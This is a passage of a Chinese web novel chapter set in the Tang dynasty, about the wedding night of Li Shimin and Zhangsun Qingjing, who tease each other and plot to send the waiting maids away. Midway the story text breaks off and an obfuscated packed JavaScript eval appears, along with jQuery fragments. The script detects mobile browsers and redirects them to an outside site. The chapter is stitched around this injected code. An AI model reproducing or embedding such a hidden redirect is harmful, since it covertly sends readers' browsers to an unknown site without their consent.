众人便在青庐内观花烛、弄新妇。
一时杯觥交错,人声鼎沸。
新郎新娘边进入席间与亲友正式相见攀谈。
席间有人盘诘二人婚前是否私会,有人问询新娘最爱的到底是那首诗,年轻女眷问及长孙青璟会否骑射,以后出行好作伴;年长者担心明日拜舅姑是否顺利,问起新娘是否准备鞋履。
长孙青璟一一作答。
突然羯鼓声三下,全场寂然无声。
体轻无骨的柘枝伎自帷幔后腾跃进入青庐的中央,红色窄袖罗袍勾勒出舞者健硕有力的身姿,卷檐帽上的铃铛随着鼓点清脆鸣响,紫色的垂带随着婀娜的腰肢在空中流转如风。
宾客们正被柘枝伎妩媚的秋波勾魂摄魄,拊掌喝彩无心他顾之时,窦夫人与长亲们一一作别,由四娘李陇月搀扶离场。
嘉礼当晚,本来就是年轻人的狂欢,新婚第二天才是新妇见舅姑及全家的大礼,第三日庙见拜过祖先之后算正式完婚。
长辈们若不想在今夜被年轻人的啰唣疯狂吵嚷得头痛,也不想对这些无状的言行横加阻拦,回避也不失为一个妥帖体面的、两不相干的好办法。
柘枝舞后,蜡烛还未燃过半。借着酒兴,女眷们拉着长孙青璟投壶博塞,男宾们则硬扯着李世民击剑角抵。
满庐年轻人且戏且歌,全无平日章法。
花烛燃过半时,已近中宵。宾客们相互叮嘱带好“过所”,拜别新人而去。
精疲力竭的二人望着青庐内倾颓的杯盘与满地的狼藉,不禁感慨成家不易。
浮华过后,倦意袭上心来,蔓延到胸口。
一想到睡觉,二人均被一个激灵惊醒。
“公子,娘子,郎君与夫人嘱咐二位早些休息。夫人还说,公子年纪大些,理应多照应新妇,不可任性妄为。”李世民的乳母刘娘子受窦夫人之托,上前叮嘱二人。
“哦,哦,那是自然。今日催妆时我可有耐性了——又吟诗,又弹琵琶,又唱歌——她还支使一群族兄弟拿竹杖打我,拿酒灌我,我都没还手……”面对乳母不可置信的怀疑目光,李世民笑道,“阿嬭,你不要小觑我。不信你问长孙娘子。——哦,我想起来了,结镜纽时她嫌弃我手拙还掐我,我都没抱怨,阿嬭你看,她指甲掐出的血印还在我手上。我今天可、大、度、呢!”
说罢,李世民孩子气地伸手给刘娘子看。
“是哦,大惊小怪的,再迟些我都看不清你手背上有划痕呢!”刘娘子打趣道。
长孙青璟低头无言,假装摆弄青色婚服那红色袖缘的花纹,不去理睬那些疯言疯语。
“夜露深重,炭火只剩余烬,百子帐内不可再久留。娘子随奴婢去认一认新房。”刘娘子引路,阿彩执烛笼,一路径向新房而去。
新人疲沓至极,呵欠连连。
刘娘子向长孙青璟道:“夫人也令奴婢转告长孙娘子,今夜娘子尽管安睡,不必担心明日与舅姑相见一事。明日辰时,照例由阿彩姑娘唤醒娘子,为娘子梳洗,一切依高家旧例。巳时之前陪舅姑简单用膳即可。”
长孙青璟轻轻点头,感念窦夫人为人仁厚,并非喜爱肆意立威的刻薄主母。
李世民靠近她,轻轻牵动长孙青璟的大袖,两人袖缘相叠,指节摩挲。
与婚礼上程式化的公开的执手相较,这种私密又抑制的暧昧令长孙青璟心旌神驰,冬夜里冰冷的纤细的骨节似乎要融化在涌动着热血的手掌中。
灼烧的、刺痛的战栗从指尖透过肌肤,贯通血脉瓦解她清醒的意识,抚触她孤独的灵魂。
当她的意志即将屈服于这种裹挟一切的不可抵挡的力量时,暗黑的天忽闪了一下,落下一滴清冷的泪。
她的手指从他的掌心中逃脱,即将升温的灵魂瑟缩到安全的角落,不再响应炽热而痛苦的战栗。
长孙青璟将双袖相拢,左右手交握、相攥、挤压,企图给自己增加一点对抗无助的力量。
通往未来的路太过漫长,晃动的烛笼绕过数个回廊与院落之后,微弱的橙光便湮没在一片明亮之中。
婢女们为新人打开帘帷,内室中烘瓶炭火正旺,榻上帷帐左右各悬着鎏金双蛾熏球各一。
安息香的甜美低沉的味道萦绕在周身。
“来人,为公子去衣、为娘子除花。”刘娘子吩咐婢女道。
“且慢!”长孙青璟与李世民异口同声拒绝道。
长孙青璟甚至有一种被抢了话的错觉。两人尴尬地对视一番后,阿彩扶长孙青璟在镜台前坐下,主仆相对无言,只好对着铜镜发怔。
妆奁中盛满了簪、钗、金银梳、步摇,一半是旧时器物,一半是新添置的款式。
“公子,已是中宵!”刘娘子也猜测两人拘谨局促,有些扭捏。
催促新娘安睡似乎有失礼节,她便对新郎使着眼色。
“阿嬭,我今日酒饮多了,头迷糊得很。先是迎亲是被她家亲戚挨个敬酒罚酒,再次是合卺之后被自家亲戚刁难捉弄,还有——”他突然指着长孙青璟道,“我没见过六博棋下得比你更差的人!”
“那是我掷骰子运气太差!”长孙青璟从铜镜面前转过脸,没好气地反驳。
刘娘子一时搞不清这两个孩子为什么从不愿意同房牵扯到了博塞。
“所以呢,你被姑嫂们罚的酒我全替你喝了。娘子,你是一个谢字也不提呀!”
“这倒也是。”长孙青璟有些感激李世民为自己化解窘局,便玩笑似地向他长揖致谢,“阿嬭为证,我已谢过公子。”
刘娘子有些无奈,静看二人闲扯些荒诞不经的话题。
“我晕得很,稍一动弹便头痛欲裂。”说罢,李世民特意在镜台几步处坐下,扶额喊了几声有恙。
“阿嬭,你一定准备解酒汤了吧?我喝几口饮子便不晕了。”
“好,我去准备丁香饮。”刘娘子觉得李世民所说也并非虚言,宾客们观花烛弄新妇之时,她确实亲见这不善饮酒的倔孩子寸步不退,强撑着与人把酒言欢,又护妻心切,为新娘挡罚酒。现在酒劲开始发作,惹得她这个乳母心疼至极。
“莫睡着,睡死过去就没饮子可喝了。”刘娘子说罢叫上几个服侍主人就寝的婢女退至外间。
长孙青璟也向阿彩道:“你也先歇息片刻,我陪公子说说话,醒醒酒。”
阿彩看了看在座两人,踌躇片刻,便在长孙青璟耳边窃窃私语:“妆奁最底层有画轴……”
长孙青璟忙碌一天,颇为劳累,也听不真切,只道是提醒自己明日拜见姑舅时所用首饰,比起熬过今晚的窘境似乎还轻松一些。
她也未追问清楚阿彩所说究竟为何物,只顾敷衍道:“知道知道,你歇息去吧。”
卧室内刚剩下二人,李世民便开始不耐烦地拔下冠冕上的簪导,解下玄缨。
长孙青璟警觉地望着他:“你做什么?”
李世民被少女惊恐而尖锐的鸣爆声弄得错愕不堪,两手搭在下颌附近的系带上停滞了片刻。
“别胡思乱想。”李世民把爵弁放在身边,指着在冠冕中闷了整日的头发道,“我热了凉,凉了热,出汗,风干,再出汗,现在满头酸臭,这屋子快被烘瓶烤焦了,我不摘爵弁戴着安寝吗?不信你闻闻。”说罢他将黑色爵弁倒置递到长孙青璟面前。
长孙青璟“哼”了一声,捂着口鼻转过头,双膝往相反方向挪了并不明显的距离。她对着铜镜,摘下礼冠,露出毫无钗钿装饰的同心髻。她本想让李世民认一下她额间的花钿,又觉得此举过于轻佻,便直接揭了下来。
长孙青璟又执起贮存面脂的银盒,贴近烘瓶回暖片刻,拿起绢丝蘸一些油脂,开始擦除胭脂、额黄与铅白。少女吹弹可破的肌肤逐渐取代了厚重的浓妆。
两人沉默不语。李世民面无表情地看着小妻子支走婢女,笨拙地自行卸妆,好奇地问道:“你就准备这样坐到明日辰时?”
长孙青璟默不作声,几绺散发落在肩头,有种不事雕琢的纯真与娇憨。
她带着满脸油脂望着李世民,不置可否地说道:“我也累了——刚才是谁想出喝丁香饮馊主意的?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041811|178809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“你自己不想除钗钿,我便帮你找借口。真是不识好人心。”李世民觉得一和眼前这伶牙俐齿的女孩子争论,腰间革带便勒得难受。他下意识地将双手搭在腰间,意欲解下革带。
长孙青璟如惊弓之鸟般“腾”地起身,质问道:“你手放在何处?”行障与帘帷外传来婢女隐隐的笑声。她一时羞愤难当,站也不是,坐也不是。
李世民叹口气,翻开手掌,举到胸前,没好气地回答:“我很守规矩,双膝都没离开茵褥,也没偷看你除花钿。你可好好说话。还有,我的手放在我自己的腰间,不在你的腰间,你管得着吗?”
长孙青璟偷瞥了李世民一眼,又默默坐回镜台前。李世民只得随便抱上一个手炉,瞪着地板发愣。他突然抬头,试探着问道:“你母亲有没有给你一个小画轴,嘱咐你今晚才打开的?”
“什么画轴?我阿娘没说过。”长孙青璟奇道。
“这个嘛,说来话长。”李世民放下手炉,指着妆箧道,“你要不要翻看一下?”
“那个画轴,你有吗?”
“我用不着。”他的目光游移到了窗外。
“那卷轴上画的什么?”
李世民挑了挑眉:“你真想知道?”
“嗯。”长孙青璟点头。
“就是……衡门之下,可以栖迟。泌之洋洋,可以乐饥……那种……情形……”他吞吞吐吐地解释,言辞含糊,目光躲闪。
长孙青璟琢磨着《陈风衡门》的言外之意,突然蹙紧了柳眉,开始在镜台上寻找称手物件。
她右手越过一堆容易刺出血的簪钗,容易砸伤人的镇纸熏炉,执起和嫁妆同时事先送来的《妍神记》,向李世民甩了过去。
那卷轴在空中慢悠悠地转了几个圈儿,已经忘记了教训人的初衷。
李世民伸手,稳稳接住《妍神记》,恶作剧似的说道:“我正经背诗,你想到哪里去了?何至于发这么大的火!”
“我从没听人把一首褒扬夫妇同甘共苦的诗歌念得像你这样——这样——不正经!”青璟气急败坏,以至于找不到贴切的言辞去形容对方调笑的无状。
“哦,说得好像你自己天天看正经书一般!”李世民举起《妍神记》晃了数下,“那个烧书的疯子皇帝能写出什么经世济国的锦绣文章?”
见长孙青璟嘟着嘴,李世民不再逗她,只是开诚布公:“你要是害羞,我也不再勉强。说实话我也有一种私密之事被人偷窥议论的古怪感觉。我保证循规蹈矩,不冒犯你。只是今晚,还望你助我掩饰过去。”
他将《妍神记》放归镜台,谨慎地坐在与长孙青璟相隔几步远的地方,柔声说道:“不如把所有责任揽到我一人身上,免得下人多嘴,家人为难你……”
他拿起镜台上揭下的鲥鳞牡丹花钿,放在掌心,细细摩挲,有种趑趄不前的犹疑。蓦地,李世民放下花钿,鼓起勇气问道:“观音婢,你应该不讨厌我吧?你可信得过我?”
她吃惊地望着他真诚的笑脸,先摇头,之后又羞赧地点头,随即俯首摆弄首饰。
李世民轻轻拨开垂地帘帷的一角,数道:“一、二、三、四。”
“你数数做什么?”长孙青璟跑到他身边问道。
“你声音轻一点啊。”李世民将她按回镜台前,“我阿娘给我安排了四个婢女,你又带来一个,再加上刘娘子,一共六个,今晚这六个人就这么陪着我们……”
“陪我们作甚?”长孙青璟差点惊叫起来。
“侍候我们睡觉啊!还能陪你喝酒吟诗吗?”李世民将手掌拼命下压提醒她不要高声说话。
“你身上酸臭酸臭的,离我远一点。”长孙青璟毫不留情地说道。
“你怎么不问问你的从兄弟表兄弟是怎么礼待我的?”李世民突然也捂着鼻子道,“你卸妆的胡麻油没擦干净,当心猞猁半夜来舔……”
长孙青璟举起一根发簪假装要扎他,却从缝隙间看到外屋五个婢女正等待他们就寝,一下子就泄了气。
“你说,怎么把她们支开?”